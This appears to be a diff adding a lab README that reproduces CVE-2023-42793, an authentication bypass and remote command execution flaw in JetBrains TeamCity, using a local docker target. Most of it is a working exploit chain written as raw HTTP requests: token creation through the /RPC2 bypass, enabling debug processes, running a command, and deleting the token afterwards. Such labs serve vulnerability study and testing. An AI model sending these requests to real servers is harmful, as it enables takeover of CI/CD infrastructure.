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+# Jetbrains TeamCity Authentication Bypass and Remote Command Execution (CVE-2023-42793)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+TeamCity is a general-purpose CI/CD software platform that allows for flexible workflows, collaboration and development practices.
+
+TeamCity server version 2023.05.3 and below is prone to an authentication bypass, which allows an unauthenticated attacker to gain remote code execution (RCE) on the server.
+
+References:
+
+- <https://www.sonarsource.com/blog/teamcity-vulnerability/>
+- <https://blog.projectdiscovery.io/cve-2023-42793-vulnerability-in-jetbrains-teamcity/>
+
+## Vulnerable Environment
+
+Execute following command to start a TeamCity server 2023.05.3:
+
+```
+docker compose up -d
+```
+
+After the server is started, you should do the initialization steps on `http://localhost:8111`:
+
+![](1.png)
+
+## Exploit
+
+The key point of this issue is that, all the requests end with `/RPC2` wouldn't be authenticated.
+
+To exploit the issue, send the following request to add a rest API token that name is `RPC2`:
+
+```
+POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
+Host: localhost:8111
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 0
+
+
+```
+
+![](2.png)
+
+Success to generate a rest API token. Then, enable the debug mode with the API token:
+
+```
+POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
+Host: localhost:8111
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 0
+Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UTlaUm5sYzQtRUZ0YTNhT1llU2xpTU43TjNF.MWY2NjI4MmQtYzFlMi00YTEwLTk1ZTEtMDFiZmZiOGY2NGY0
+
+
+```
+
+![](3.png)
+
+You are able to execute arbitrary commands after the debug mode is enabled:
+
+```
+POST /app/rest/debug/processes?exePath=id HTTP/1.1
+Host: localhost:8111
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Length: 0
+Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UTlaUm5sYzQtRUZ0YTNhT1llU2xpTU43TjNF.MWY2NjI4MmQtYzFlMi00YTEwLTk1ZTEtMDFiZmZiOGY2NGY0
+
+
+```
+
+![](4.png)
+
+It's better to delete the API token that we added before:
+
+```
+DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
+Host: localhost:8111
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 0
+
+
+```